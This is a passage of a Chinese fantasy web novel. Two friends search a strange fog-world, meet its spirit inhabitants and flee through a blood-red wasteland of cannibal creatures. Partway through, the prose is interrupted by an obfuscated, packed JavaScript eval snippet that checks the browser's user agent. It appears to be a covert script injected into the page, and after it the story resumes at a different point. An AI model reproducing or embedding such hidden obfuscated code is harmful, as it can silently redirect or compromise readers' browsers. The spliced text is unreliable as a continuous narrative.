比起浑身湿透以及为何没死,斛万眼下面临且要解决的是一件更加严峻到令他发指的事情。 “这不符合常理。”斛万站在原地一遍又一遍地环视:“这里……”除却浓烈到什么都看不见的白雾外,就只有他,“到底是什么地方。” “我为什么会在这里。” 在以前,斛万从没想过某天的自己会有如此强的冲动去幻想这是一场梦。他试图寻找出口道路,可聚集的雾太浓,若一旦盲目行走极有可能会遇到更加糟糕的事情,这条选项风险太大,还不如待在原地,况且先前也没有从那两个未知生物的对话中提取到有价值的信息。 可他更不能一直就这样坐以待毙。 当他踌躅不前思索各种对策时,有一声熟悉到不能再熟悉的尖叫敲碎了斛万始终的沉着冷静:“姜旗!!!” 什么都想不得顾不得了,他朝右跑去。 循着尖叫不清楚跑了多久,只知道过程里白雾渐发稀薄,直至达消失之处,斛万终于停下脚步,但眼前的一切让他对这里充斥的不真实性程度再次增加。 那是一片土地,是种满各种蔬果的土地,长势盛大可观,跟他没到这里前的地方相比,完全是巨型成果,是令谁看到都必须仰头叹为观止的景象,那种脊背泛凉发麻的感觉,似乎有能在眨眼间就被夺走性命的魔力。 斛万抬脚朝土地走去。就在这时,又一声尖叫响起,就见那土地最前排的巨型菠菜后方露出来半截身子,那身子是斛万熟悉的黑西裤与棕色皮鞋,可那具身子不知是在干什么,始终牟足了劲往外挣,就好像在大力拖拽什么东西。 “呼……再来,马上就掉下来了!”话刚落,就见那人连做了好几个深呼吸,接着一鼓作气用力一扯,这下,整个人连带着几颗圆滚滚的巨型豌豆均完完全全进入斛万眼里。 “累死了!我得坐这休……”要坐下的人总觉得前方貌似有什么,他抬头定睛一看,顿时激动地颤抖,“斛万!斛万!我的妈呀!你竟然也在这里,真的太好了!”说着说着就直冲他跑去,还张开了双手。 斛万距土地只剩一步,他不为所动地站在路上,面色如常看着飞奔而来的人。他先是眯了眯眼,接着唇角浮上一丝自然的笑,而后步态沉缓地踏入向姜旗而行,就在姜旗的双手即将触碰到他时,斛万直接一拳过脸把他打趴在地。 “姜旗。” “你是怎么掉江里的。” 姜旗捂着脸坐起身,拍着身上的土大声喊:“斛万你打我干什么!” 斛万没开口说话,也没有回答问题,他只是沉默的径直越过他走到那几颗巨型豌豆跟前,蹲下身伸手摸了摸:“你用了什么方法。” “嘿嘿嘿!这你就不知道了吧!”姜旗兴奋地跑过来:“我醒来的时候就在这,吓了好大跳,但我仔细一想这不就是体积比较大的蔬菜吗?你也知道我受不了豌豆诱惑,所以就寻了个小点的,拽好大一阵儿呢!” 他移动到另一颗豌豆前,背对斛万一下又一下地开始挖起土来:“还有花生呢!你知道吗,它竟然不会长出叶子。” “哦?这么特别吗?” “当然如……啊别别别别!饶了我饶了我,别动我的脸!!!”姜旗之所以突然害怕求饶,就是因为这一刻斛万的手肘死死卡着他的脖子,另只手上一把异常尖锐且泛着白的骨刀正对准在他脸上。 斛万拿刀的手加重一分力气,眸光阴冷:“真正的姜旗在哪里。” 他自醒来就带着古怪和疑惑,听到声音再到姜旗出现这种太蹊跷的顺利让他心中那道感觉更加敏感,以至从迎向姜旗的第一秒起他就在试探和做戏,想看看这场戏到底要如何进行,能演的有多精彩。 而情况果然跟料想达成一致。 “还不说?” 皮肤的灼热刺疼把假姜旗吓得眼泪直流双腿发抖,一股脑就把策划者给卖了:“你千万别动我的脸!你找的人在疯猫嗓那里。呜呜呜……我会带你去,那里的人都不会害人,你先把刀子放下呜呜……” 斛万放开他:“带路。” 假姜旗满脸委屈地擦掉眼泪,打着哭嗝小心翼翼指向那把骨刀:“可以还给我吗?我是不小心掉那了,那是我母亲留给我的东西……上面还刻着我的名字……” 斛万这才仔细端详,刀柄上赫然刻着三个工整大字——顾之阳。 默了一会儿。 “嗯,到了立刻给你。” 过程里,斛万自然而然见到了很多奇妙的事。比如这些巨型蔬菜背面都是被割开挖空的;比如蔬菜窗户里探出身穿各时代奇装异服的人皆在打量,老少幼各年龄阶段都有,但他只要一对视这些人便躲藏起来;再比如这个假扮姜旗的顾之阳走着走着身形越发瘦小,竟变成一个八九岁大的肉呼呼小孩儿,赤脚穿着背心和短裤。 两人全程无交流,就这么一前一后走着。 “你是怎么看出端倪的?”顾之阳轻飘飘来了句话,他轻微噘嘴,有些不服:“我从没失败过,你到底是怎么发现的。” “那你是怎么知道我的名字以及姜旗喜欢吃豌豆。” 顾之阳被这番当场回击弄得语塞,但奈何太想知道他如何破解的答案,于是只好乖乖回答:“我会读取人来这里前的最后一天记忆和某个人平日经常和谁待在一起,所以在他记忆里我看到了你。” 这小孩儿搞笑的紧,变脸如包公换脸,说完就气呼呼:“你还没回答我的问题!” 斛万淡淡道:“只要足够了解,就能轻易识破。” 姜旗是个极其怕疼以及十分爱揽责任的家伙。这个极其,表现在生病打个针就会哭得泪如雨下。而那个十分,则是不管谁对他撒泼发火,他想到的原因并表现出来的永远都是自己一定做错了什么才让这个人变得如此,永远不懂得指责本质上出自别人身上的问题和错误。 想到这里,斛万脸色沉得可怕。 顾之阳并未察觉到身后人的情绪,他继续着心里所想发问:“你对他这么了解,你们是情侣?” 斛万听到这话发出极轻的笑:“不是。” 懂得挺多。 顾之阳:“那是什么?朋友?” 斛万说:“也不是。” “啊?”顾之阳疑惑:“不会是家人吧?但你们长得不像啊!” 斛万只回答了前一句:“没错。” 顾之阳嘴巴抽搐,一脸无语:“你这幽默不适合一本正经……” “嗯,接着走吧。” 接下来,静默继续登场发挥才能。 不多时。 “哥哥你看到前方那排西瓜了吗?” 听到“哥哥”这两个字,着实让斛万没反应过来,因为他真的太久没有听到了,他按向太阳穴回答:“嗯,是那里吗?” 顾之阳点头:“对,那就是这片土地最后一排蔬果,中间那个西瓜是疯猫嗓居住的家。” 说到这里,斛万问出他一路都想问的问题:“为什么把蔬果改造成房屋?” 顾之阳无奈地叹了口气:“因为金沙郊无法长出树木,这里的环境只会让树木死亡,至于这些蔬菜。”小孩儿低眸,流露出不忍启齿,“听大人们说也都是经过数次尝试才得到唯一的方法生长存活下来的,因为我们也不需要吃东西来维持生命,就改造了它们。” “好了,我们到了!” 两人双双站在巨型西瓜前,它以菜叶作门,顾之阳上前一步掀开,没了遮挡,斛万恰好与在挣扎中的姜旗对视,而他此时的情况不忍直视。 被扒光到只留背心和大短裤,嘴塞黑布,浑身被绳子捆绑,像案板上无法逃脱的鱼肉,等待宰割。 斛万跑进去将他嘴里的东西拿出来,还没开口就先听到破防爆哭:“呜呜呜呜呜,斛万你快跑别管我,这里有变态你也会被扒光的呜呜呜……你没死真好呜呜呜……” “没事。”斛万一边四处查看一边解开绳子,万幸这里只有姜旗。 顾之阳走进来嫌弃地剜了他一眼:“看你那死出,鼻涕都快跑嘴里了。”他巡视几圈说:“奇怪,疯猫嗓和死公鳖怎么可能放着你不管。” 姜旗闻言炸开锅,抹了一把鼻涕眼泪站起身:“小崽子你还有脸提,就是她把我搞成现在这样,我穿得最喜欢的衣服,她全给我扒了!”他又气又羞愤:“我活26年还从没遇见这种情况!” “切!你品味可真特别。”顾之阳翻白眼冷嘲:“裤子里还套碎花大短裤。” “不服打我啊!” 斛万出声阻止:“这里还有衣服吗?” 不等到回答,门口处传来疯猫嗓尖细的惊恐:“啊啊啊啊啊!!!”她抓着脸面向顾之阳:“耳日小子,你竟敢真把我卖出去嘞?你好狠的心喽!呜呜……” “我根本就不是故意的好吧!”他没好气的抱怨。 姜旗吓得直向斛万身后跳躲,而斛万也终于见到了这个叫做疯猫嗓的真容。黑色及地高领长裙,面容俏丽,盘发上一顶缀满流苏和镶嵌着各式迥异红宝石的金色王冠,真是巧妙又无违和感的组合。 腰上不时出现几分蚂蚁噬咬般的疼痛,斛万侧了侧脸道:“没事,别怕。”他对还在惊恐之中的疯猫嗓开口,“你好,请问这里还有多余的衣服吗?” “有有有有!”疯猫嗓犯花痴时的嘴总是比脑子先行一步,等反应过来简直想趴下撞地,但都开了口总不能再否认:“死公鳖,你进来啦喽!” 外面传来温吞吞地声音:“我、我今晚要守夜。” 疯猫嗓想狂爆吐血,跺脚转头冲房外气急败坏:“找你有事办嘞!给我进来!” “那、那行吧!” 话说完这疯猫嗓一溜烟儿就被拽到了边上,紧接着门口显现一个笑容洁净温和,白长发低挽,衣穿黑色长袍的男子。 “啊死公鳖你要造反嘞!” 姜旗探出头瞪大双眼:“你们的打扮为什么一会儿古代一会现代的?你们到底是古代人还是现代人啊!” “笨鸭子!”顾之阳毒舌:“因为他是在拍戏中途出事的!之前什么样子到这里就是什么样子。” “破小孩儿你能不能好好说话!!!” “不能!!!” 这俩人就跟个定时炸弹一样的,撞见就炸,眼看又要吵起来,疯猫嗓和斛万便各自出声阻断。 “给我吵死嘞!你!还有你!”疯猫嗓指着顾之阳和死公鳖:“去给他找件同样的衣服耶喽!” “等一等。”斛万此话出声,在场除了小孩儿一头雾水,他走到顾之阳面前拿出骨刀:“你的东西,现在物归原主。” “妈妈呀耳日小子!比你命都重要的你竟然让人拿手里呦喽!” “哼!”顾之阳瞥她一眼就和死公鳖离开了。 姜旗从头到尾那是看得一楞楞的,斛万走过来他连忙小声问:“你们是什么情况?” 斛万摇头:“引路孩子。没有他的帮助我不可能知道你也在这里,更不可能这么快找到你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她再次摇头:“我并不知道离开的人具体发生了什么,从上一任维护者口中得知,这里其实只是金沙郊的一个渡口,叫安宁边。只有离开这里才会进入真正的金沙郊,那里也被称为忘狱境,无人见过到底何种样子,只知有去无回。” “运气好度过忘狱境。”疯猫嗓突变冷肃,“就能到达残星阁,那是唯一能指引你们真正踏上回家路的地方。” “即使这样,你们也要离开吗?” “也罢,我有些太急切了。”疯猫嗓揉把脸淡淡苦笑,“你们应该需要时间好好想一想,今晚你们二人就睡这个屋子吧,我去隔壁。” “谢谢。”斛万道了谢,等疯猫嗓走后,他看向身边默不作声的人,“姜旗,在镜桥,你最后遭遇到了什么。” 姜旗低头闭眼,额头冒薄汗,表情如临大敌,两颗眼珠子七上八下乱窜,半秒钟睁眼直起头:“是毕泽那个天杀的!!!”怕斛万不信,他作出恼怒凶狠,“他后来把我踹下去了!!!个天杀的玩意儿!!!” 看他这幅样子不像说谎造假,斛万的脸色恢复如初,点头:“原来是这样。”他站起,寻了处离窗口近的地方躺下,闭上眼说,“不早了,睡吧。” 姜旗一个人在那边前后左右角落来回看,这西瓜屋面积太大,蜡烛也没了气血,就外面的月亮跟舞台灯光一样照进来,虽然不是太黑,但终归还是对这个陌生的地方不适应,看斛万一眼又一眼,犹犹豫豫不躺下。 这边,斛万半晌没听到动静就大致清楚是个什么情况,他依旧闭着眼,却开口道:“我这边还有空余。” “真的吗?”姜旗大展喜颜,三两迈步就躺在斛万旁边,他平躺看着黑漆漆的上方,语气难得认真,“要不要离开。” “你害怕吗。” 姜旗怔愣几瞬,随及失笑:“那不是我。” 记得他和斛万那年刚高考完,暑假他整整两个月没有斛万的下落和消息,电话都要打爆,无计之下去了他家才知道斛万独自去了父母墓地附近的房子住,什么都没带,只拿了个背包,后来在他的坚持下才终于得到了地址。 对他而言,往事从来历历在目。在去找斛万的那天早上大雨连绵,当时才六点钟,骑行途中他经过墓地直直看到里面的斛万蹲在两个墓碑中间,背影孤寂,他把自行车丢边上跑过去。 凄冷沉重的墓园,只斛万一人孤零零在那里,被大雨浇透的身体更显消瘦。 姜旗视线持续,映入眼帘是斛万父母碑面上放满的欠条纸张和一指指夺目的红色印纹,每一张借款额皆高达500万以上,直到最后见到欠款人是斛万那一刻,他整个人都无法冷静,大声质问那是什么东西。 斛万只无关紧要地说出创业两个字,这让他真的气疯了,他知道斛万家从不缺钱,不谈白日做梦,他唯一担心的是借款金额太高,一旦失败就要背负双倍甚至更多债务,搞不好还要入局子,那他斛万这辈子就全完蛋。 可这家伙油盐不进,始终是起伏不变那个死样子,还跟抽风似的对他来了句你害怕吗,姜旗想砍死他的心都有了,于是朝他开骂老子是怕你玩儿完,话出口后他干脆也不再阻拦,收了脾气对斛万说他也加入也出资,但拿不出那么多,如果失败就一起背债,他放出狠话对斛万说要是不同意,那我就重回四中,你一定会见到我被折磨致死的尸体。 那天,斛万的沉默整整持续了半个小时,再抬头时眼眶遍满血色,下一秒问了第三遍同样的问题。 “你害怕吗?” 姜旗眼珠子也都要揉瞎了,他笑着回。 “那不是我。” 那天是姜旗第一次见到斛万外露的狼狈和悲观,仿佛他的每一块皮肤都在渗血流泪。 当年他们两人不计后果以整个人生为赌注进行抵押。 而如今这一刻,将不计后果以整条生命为赌注抵押。 没有原因,只因为他们注定不会选择随遇而安。 月色下斛万睁开双眼,满目可见森冷的锐利与攻击,犹如重回事业起步,坐在谈判桌上因对方仗着身份地位恬不知耻地触碰红线与道德,要求他加入同样战线,但他宁愿打水漂也要果断终止的时刻。 天,又在黑色里下沉了。 4. 金沙暗郊匿蹊跷,蟒藤入幻夺魂喉 隔天一早,两人出来就见疯猫嗓,死公鳖和顾之阳,三人手捧几件物样站在那,一看架势就是早在外等了。 斛万欲打算出声就见疯猫嗓走上前,她似无奈又似复杂:“我知道你要说什么,也预料到你们的选择,但单枪匹马真的不行。” 她将手里的两件黑外褂各给两人:“这是我昨夜用灵力赶制出来的,不要小看这件衣服,它储存空间很大,能放数不尽的东西,衣料有很强的防御作用。” 长度够长,尺寸也刚好,两人道完谢听疯猫嗓又道:“这里情况特殊,没办法给你们准备食物,实在抱歉。” “没事。” 斛万说完,姜旗点点头:“没什么,我们两个很能抗。”曾经创业可没少饥一顿饱一顿。 疯猫嗓呼口气摇头,伸手。 死公鳖和顾之阳分别将手里的布袋递给她:“这些分别是正常大小的五包豌豆和五包花生,一旦遇到危险就撒出去,威力不说很强但也很足,能最大程度给你们争取时间逃跑。” “对了还有。”她条条例例叮嘱,揪出一段头发挥指而过断两截,交给他们时也在努力克制着难过,“我能通过头发存留的灵力感知到你们的生命,如果你们心跳停止,我这里会很快得知……” “希望你们是那份奇迹,一路顺利。” 她背身离去,周身低落。 原地徒剩四人沉默,毒舌的顾之阳也低着脑袋定不准说哪种话来缓和,下一秒冷哼,跑进屋子。 斛万将视线收回,确认东西都装好后:“走吧。” “哦哦,好的。”姜旗看向死公鳖,“我们走喽!” “等一下,让我送你们吧,也能帮忙驱散浓雾,不然会耗费不少精力与时间。” 刚走没几步的两人顿下步子转身,斛万的眼神里涌出探究和打量,未作一语,而姜旗惊呆的模样倒有些傻乎乎,半晌才道:“哎?你不结巴???” 他笑起来。 自离开那片土地,白雾很快重新弥漫增厚,跟随他们的男两手朝左右一挥,这些雾便团团分散两边,瞬间就开出一条完整又清晰分明的道路。 “其实,那是一段久远的故事。”他陷入回忆,缓步而行,“从前有一个男孩,自小生活在扭曲又水深火热的家里。六岁那年,继父忍不住变态心理从而给他性别改造。十岁那年,男孩拖着伤痕累累的虚弱身体偷逃出外,长久游于街边黑巷,久缺衣食,被打被嘲如家常便饭。” “十二岁的冬季,一个大他两岁,名为云鹤的女孩把他带回了家。当时新年临近,女孩便给他取名云辞,意为辞旧迎新,而他也拥有了新的家人。就这样,日子一天天过,在女孩和家人的努力陪伴以及治疗下,男孩终于变得朝气蓬勃,他开朗又爱笑。” “其实一直都很幸福顺利,可在女孩大学毕业前天,却传来男孩和家人在路途中突遇车祸离世的噩耗,打击将女孩推入深渊,她形影单只,更多次自杀未果。三年后的某天,一个因骨折住院,名为赵寻的男人与她同住一间病房,看到她整日备受折磨而一点点接近她。” 他的神情更加苦涩低沉。 “整整五年,女孩的死气才彻底消失,和男人成为朋友共同开了设计工作室,她负责设计拍摄,他负责当模特。一天,在外拍摄途中,房屋被人为点燃引起大火,云辞不顾屋外呼喊,死死拖拽着被砸到双腿无法挣脱的男人不走,男人哭着求她离开,但云辞太固执,导致吸入太多烟气灼伤了嗓子,最后再苏醒,就到了这里。” “在她发现无法好好念出家人及云辞的名字后,就再不向任何人展露真实的自己。疯猫嗓是她给自己取的名字,以尖细的声音说话也不是图好玩和习惯,是刻意用这种发声方式练习,她认为只要时间够久,就能再次念好他们的名字。” 故事讲完,三人也到了十字路口。 姜旗被故事触动,他说:“她真不容易,你了解的也真详细,那接下来该讲你假装结巴的事了吧?” 斛万扫他一眼,说:“姜旗,你的聪明出家了。” “?” “啥意思?” “哈哈!”男人温和地笑,丝毫不隐瞒忌讳,“我一直在故事里啊,就是那个男孩和男人,正式介绍一下,我是云辞,也是赵寻。” 姜旗听完,摸着下巴思考:“嗯,如果是这样的话……”刹那间,眼睛嘴巴张得大大的,话语都不利索,“你、你你你你你,她没认出你?!” 云辞摇头:“车祸时我被家人拼尽全力保护才捡条命,但是毁了容,为不给她增加负担就选择了离开,一点点赚钱修复以及在暗中关注她。直到我完全恢复又改名,确认她认不出才敢回去,至于结巴,是为时刻转移她注意,也为不让她因嗓子难过,死公鳖是后来她给我取的。” 他笑得像个傻子。 “唉,你们两个可真是……”姜旗感慨动容,再难以表达了。 斛万敛着神色静默,之后看着十字路口:“接下来要怎么走。” 云辞这便走到路口中间,身子朝右,手指过去:“沿这个方向直线走,当你们看到天空是淡红色,真正的金沙郊就到了。” “好,我知道了,谢谢。”斛万对身边的人说,“该走了。” “哦哦,好!” 在经过云辞身边时,斛万却停下问出一个问题,他道:“云鹤的灵力是不是只有制造和感知是否死亡,没有别的?” 云辞虽不明白他为什么忽然问这个问题,但还是告诉他:“不是,她能感知到一切。” “包括声音吗?” “没错,怎么了?” 斛万只轻点头:“没什么,走了,你们好好的” 两人的身影在云辞眼里渐渐变矮模糊,直到他要回去时却愣在那里,双腿成千斤杠杆。 “糟糕!” 路上,姜旗大迈几步走到斛万前方,后转身面向他,闲散地将两手置于脑后,边走边说:“你最后那段话什么意思啊?我没搞懂。” 斛万说:“记不记得走之前云辞给我们的头发,她说过上面有她的灵力。” “喔,原来是这样啊!”姜旗马上恍然大悟,“那云辞回去岂不是要惨了?他瞒那么久哈哈哈哈!” 他仍以那幅姿态笑走,但斛万却猝然变脸快步上前,在姜旗马上要踏下脚步的几秒钟里一把伸出手臂将他拦下,话里的语气令人打颤。 “姜旗,走路不看路的下场会很惨。” 姜旗两手抓紧,向后扭头,不看不觉得如何,可这一看给他吓得全身上下绷直不敢动。不是因路已走完,而是好好的路变成了悬崖,而他右脚正悬在空中,假使方才斛万慢一秒阻拦,恐怕这个时候他就已经掉下去了。 姜旗浑身的鸡皮疙瘩里仿佛流出冷汗,他站好转过身,胡乱扒拉几下额头,对斛万说:“这竟然是悬崖,可这下我们要怎么走?” 斛万不放分毫目光地向下盯,道:“如果没有这层浓雾,就能知道大概高度。” 话音刚落,这些漂浮的雾跟长了耳朵似的,竟一点点散去,短短三四次呼吸的时间就皆露出全貌。 素来平静稳定如林木大山的斛万,对现下的这幕,也心跳断续停顿数秒,而姜旗觉得自己的头皮都被人给掀掉了。 “……斛万,这真的,不是地狱吗?” 说实在的,这根本连开局都算不上,就已经开始挑战并考验人的决心了。 至于云辞说的淡红,也还是太轻。 肉眼可见雾消散的同时,天色跟着几秒入暗,到白雾彻底不见的时候,天变血红,像是用真正的鲜血泼遍了每一面天空板块及缝隙。 往下看更是酷刑加身。 只约两米的高度,却要以阴邪怪诡、疮痍蛮荒来形容再合适不过。放眼望尽是黑红相间的土石,地生骷髅寸草干黑,高大树木枯槁如焦炭,各色毛发缠石绕枝,衣鞋堆积随处见,几团极低的红云漂浮在几处,下着红雨。 其景面着实叫人珠眼旋颅,肝脏翻覆。 两人刚跳下去,身上那外露不多的白衬衫就红透了,湿腻黏腥,直冲鼻腔。 姜旗捂着鼻子,难受皱眉:“这太离谱了,没碰任何就变这样,难道空气里都是血吗?” 斛万闻此,伸出一只手悬到空中来回挥舞三下停止,赫然见刚刚还干净的手上遍布一层密密麻麻的血红雾点,惊悚可怖。 他在姜旗颤抖的目光中搓了搓双手,启唇:“你说的不错,空气被彻底污染,这里完全是大量鲜血灌注所导致。” “可这里连人和动物的影都没有啊!” 但斛万以眼神示意姜旗向后看,那是唯一一条路,一条朝右的路,他晦暗不明:“在任何地方,越没有活物身影,就代表着问题越多越蹊跷,就越要高度集中谨慎,而我们现在,无处可走。” 待两人步入那路,行走过程里,一波又一波大风猛烈刮来,土犹绸纱到处席卷舞动,使他们难以睁开的眼睛干痒生疼,不得不停下脚步等待这风过去,可不曾想到的是,淅淅沥沥的某种细小颗粒竟在此刻从天而降,慢慢地慢慢地,势头浩大到漫天周围都模糊不清。 斛万沉默几秒,蹲了下去。 “我去怎么下的沙子!我衣领头发上都是!”姜旗吐槽,呸吐了好多口,他脱下黑外褂挡在头上,手伸进去拨拉头和衣服里的黄沙,喊前面的人,“斛万你……” 话噎卡喉,他凝在原地,只看黄沙肆虐喧张,沙尘滚动找不到彼此的身影,慌乱涌出爬上脸孔:“斛万你在哪?斛万你在前面吗?斛万我去你大爷的!!!” “姜旗。”黄沙中,熟悉的黑色身影朝他走来,“我听到了。”话落,斛万出现在他面前,和他一样用衣服遮挡着,随即却用鲜少可见的沉肃对他说,“从现在开始,你跟在我身后。” 他绝对坚定,不容许置喙反驳。 姜旗呼了口气放下心来,但为方才的事生出几丝恼怒:“你刚刚干嘛了?我说你就不能吱一声?我以为你被刮走了。” “我以为你看到我蹲下去了。” 姜旗:“……” 这回答,真是一点脾气都会给打回去,他很快恢复常色回到正事上:“所以你是有新发现?” “嗯。”斛万把手里的一捧黄沙展开在姜旗眼前,“你伸手。”他照做,斛万将全部沙子倒在他手里,说,“你觉得什么感觉。” “我□□去。”姜旗凑近观察,反复揉搓:“这么大一把跟棉花没区别,真的好轻啊!按正常来说,一把沙子的重量不该是这样。” “没错。”斛万继续道,“你蹲下再看地上这些沙子,你一定会明白。” 不明所以的姜旗还未完全蹲下去,就被脚下及前方大片大片盛烈的强光所刺激,他下意识捂上眼睛,指开一条缝隙向外察看,目如铜铃。 地上的沙子不再是沙子。 地上的沙子是金灿灿的金子。 这金子细腻如香粉,可又不是粉,但给他的感觉就是像只要轻微一抓就会变成粉状的,而他也真的下手抓了,但手刚离地,掌中的金子就变成黄沙,就像方才斛万给他的那样。 他不由得冒出大事不妙的心态,起身说道:“所谓的金沙郊,莫非是这个含义。” 斛万给出的话模棱两可:“顾名思义,显而易见,但还有一点,它还有个称呼。” 短短几句话就足够能点醒姜旗,他明显是飞快地想到什么,当即看向斛万:“难道!” “姜旗。” “我真心希望。”斛万移动脚步走向一边,“你不会被吓到。” 他将完整的视野交给了姜旗。 第二次再细看这条路,漫天沙尘已息事宁人,但黄沙持旧续降,可这次没有风的捉弄,就算下的再大,仅凭沙子撞击地面产生薄雾般的沙尘也无法妨碍到视线。 而他,见到了这辈子也无法忘记的一幕。 真的好多人,好多好多好多好多望不到边际的人,可那又不像是人。 那些数不清的男女老少一个个头顶光秃,发丝几缕。一个个衣衫不整蹲在那里,两条手臂似机械疯狂挖掘,有袋子的用袋子装,没有的用鞋子、用裤子、用上衣、用撕下全身的衣料丝毫不在意赤身裸体。 一个个双瞳疯狂,邪气横生。 一个个笑容咧耳,满嘴三角锯齿,口水垂坠不断。 这些仅仅才是片面,最最最恐怖的还要当数接下来。 在这些似人非人的物种里,有一批坐在中间,占地硕大,极具显眼特殊的异类。 他们衣衫破碎,削片皮骨,肚大如牛。 他们埋沙塞喉,撕人吞肚,花洒血液。 这些画面让姜旗是真的吐了,浑身器官通通在抗议打仗,他弯腰,双手扶膝干呕,眼角泛泪胃都要咳出来:“操!这鬼地方太颠了。靠!为什么只有我的反应那么大,咳咳咳……” “呕——” 其实斛万也没有好到哪里去,刻意隐藏着的那只右手始终在用最重的力度死掐大腿,这种情况他绝对不可以出现差错,不管他死不死,姜旗都必须不能死。 他盯紧眼前的景象拍打姜旗的背:“多做深呼吸,暂时忍一忍,我们得做好准备跨过这条路。” “……咳咳好,我知道了,操的。”姜旗擦擦嘴角,直起身穿好外褂,摸兜拿出一包豌豆蓄势待发,他精神聚焦,凌厉不可挡。 斛万微偏头:“注意看路上存留的那些空隙,我们无法像工作时那样拥有数次尝试开发新路线和新思维的试错率,找寻最佳安全口以及避开红区的机会只有一次。” “姜旗,我们要跑过去,绝不能停,也绝不能犹豫回头。” “斛寓。”姜旗喊他的真名,同他站在一起,言语是那么宁静,“你敢死就试试。” 斛万没回应,但他笑了。 “三、二、一。” “开始。” 哪怕提前预想过的过程也糟糕的一塌糊涂,在两人各跑向空隙的第一秒起,就吸引到这些物种的大片追赶,发着怪笑的嘴不停叫嚷着杀杀杀,吃吃吃。 无暇心思去顾及下得满头满身的沙子,两人的精神高度紧张警慎。 “我□□去啊,张牙舞爪。”姜旗慌乱抓了把豌豆朝前方和两边甩撒。 只听, “嘭嘭嘭嘭嘭——” 几十道爆音将这些物种炸的尖叫成双倒,虽说这豌豆小是小点,但威力可太不容小觑,只是再好用再方便,撒的速度再快也做不到将这些物种尽数消灭,前方一批又一批朝他们涌过来,密密麻麻的根本炸不完。 因此这下可好,本来他们俩是要一路往前冲的,可现在反倒是必须要返回跑了。 姜旗数不清自己到底爆了多少句糙话粗话,接着他把手里剩下的最后那点豌豆使劲甩了一圈,“你们都给我倒吧!!!” “斛万,我们快跑。” 他听着爆炸往回跑,期间侧头去看斛万,入眼所见,他想象的画面并没有如愿发生,甚至毫无关联。 因为他转脸就看到斛万那疯子还呆在原地,而他们两个加上这群物种的位置也相隔较远,他这边跑着都要快被追上,但斛万却分毫未动,张张嘶喊大叫的嘴脸齐齐拥挤着往他身上扑。 可却见斛万缓慢后退,左一把豌豆右一把花生同时从两个口袋各自掏出,速度快要起飞,不过他的不同是将豌豆尽数砸向非人物种,而花生只对准中间坐着的大块头。 要命紧急的形势给不了姜旗想要停下的分秒,他只能边跑边砸边破口大骂,更破防着道:“我□□去!我□□去!我□□去斛万你大爷的!你大爷的!你大爷的!” “别骂了。”不曾想斛万的话紧随,不多时,两人就达到同步奔跑,他继续道,“我有个办法,有百分之八十以上的几率可以逃出这条路。” 刚说完,几道嘭嘭嘭在他耳边响起,原来是姜旗将他边上即将要得逞的物种炸倒了,他说:“过后再找你算账。” “什么猜测,快说。” “嗯。” 斛万向后甩了几把豆子,说道:“我观察到中间这些块头既不追赶厮杀,也不叫嚣,除了埋头吃完全不为所动,更不在乎周边变化。而追赶我们的这些物种,不论是先前的自顾挖掘还是到如今的大肆行动,看似杂乱无序,但细观可察他们与这些块头,包括左右两边的路沿隔着非常有规矩的距离,明显是不敢靠近的状态。” 姜旗说:“然后?” “他们,一定在遵守一条必不可侵犯且警目的规则,一旦触碰就能彻底要了他们的命,就像我们那个世界有法律,人人不敢轻易触碰,但却能在背地里做伤天害理的龌龊事。” “嘭嘭嘭——” “嘭嘭嘭——” 爆炸响在两人身边持不间断,姜旗的体力生出几分不如意,他喘了几口:“如果是这样,那我们就要跑进规则里。” 斛万道:“没错,我们不能朝路沿外跑,那会回到先前跳下来的原地,姜旗,你要踩过块头的肚子往我这边来,我们得踏进右端路沿外。”他察觉到姜旗的状态不乐观,说,“再坚持一会儿,我保证,接下来的一分钟之内,我不会让这些物种有机可乘,相信我。” “哈哈哈哈!”姜旗大口喘着气也要爽朗大笑,他转头看向斛万,溢出决然坚定与自信,启唇:“我姜旗。”他麻溜的将身子一倾,三步一高抬就老练地踩到大块头肚子上,倾刻间周围物种跟着起跳,斛万当即丢出提前准备好的花生,当姜旗跳到他身前的一瞬间抹开灿烂的笑,紧接着丝滑地揽过他的脖子向路沿外倒,同时,他第二句话就这样砸进斛万耳里。 “哪有不相信你的时候!” 两人落地的电光石火间,金沙郊以光速之时发生天翻地覆的变化,所有的一切都消失了,他们直接置身于一间老旧的木屋,这两者衔接极为顺滑无阻,让人还未动观察的念头就被转换到另个环境。 斛万缓气几口起身,欲要搀扶姜旗,他却伸展四肢摆了个舒服的姿势趴在地上呼呼哈哈,说:“先让我缓缓、缓缓,我这会儿跟吃了软骨散没啥区别,好不容易安生了,你也趴一会儿吧!” “我没事,你先休息。” 斛万打量木屋,这里温暖又宁静,并未存在什么危险事物,一架燃烧着的火炉,旁边是堆积的柴木,四周壁角各置烛台,只整体有些许昏暗罢了。 不久,斛万的目光就注意到木屋顶上镶嵌着的白色鼓包,总给他里面有奇怪东西在蠕动的感觉。 衣兜里的手攥紧豌豆与花生。 “客到还不撒花!” 凭空一响,浑厚沧桑裹含中气十足的话音掀掉木屋内的沉静,此话一落下,那屋顶上的白色鼓包便啪嘣啪嘣全然炸开,眼睁睁见一张张夺目红钞左右摇晃旋转飘下,撒一地,也撒姜旗一身。 “谁在说话?这红票子又什么情况?”姜旗翻身坐起,拿上几张认真端详,“哇!都是真币啊!” “你待着别动。”只闻其声不见其人的情况疑点很多,斛万叮嘱完寻觅查看。 这次转头就见到一位身穿洁净整齐的麻衣女服,白发以木簪尽挽,手执一黑丈的老婆婆,她端严慈祥地站在火炉旁。 “年轻人,庆祝你们成功渡过金沙郊进入暗口,我是音兰灵纬空间内掌守其中这方区地的灵使,叫我月婆婆就好。” “吓我一跳!”姜旗心脏狂跳,他先是愣神,接着自来熟的挥挥手,“月婆婆你好啊!”他干笑着站起身,两手慢慢往兜里伸。 斛万一直不发一语,始至以警惕的眼神分寸不离这位来路蹊跷还凭空出现的老婆婆,当老人向前两步,他迅速移到姜旗身前,眸光释放出危险和冰冷。 “年轻人,你们这样会让我很尴尬的。”月婆婆故作失落,后道,“我知道你们很多疑问,但要容许我一一解答讲述,可这样如何能行?云鹤和云辞并未踏入过这里,不知金沙郊内有其暗口。” “况且,你们要通过我才能到达残星阁。” “还有,我和那里的人一样,不会伤害你们。” 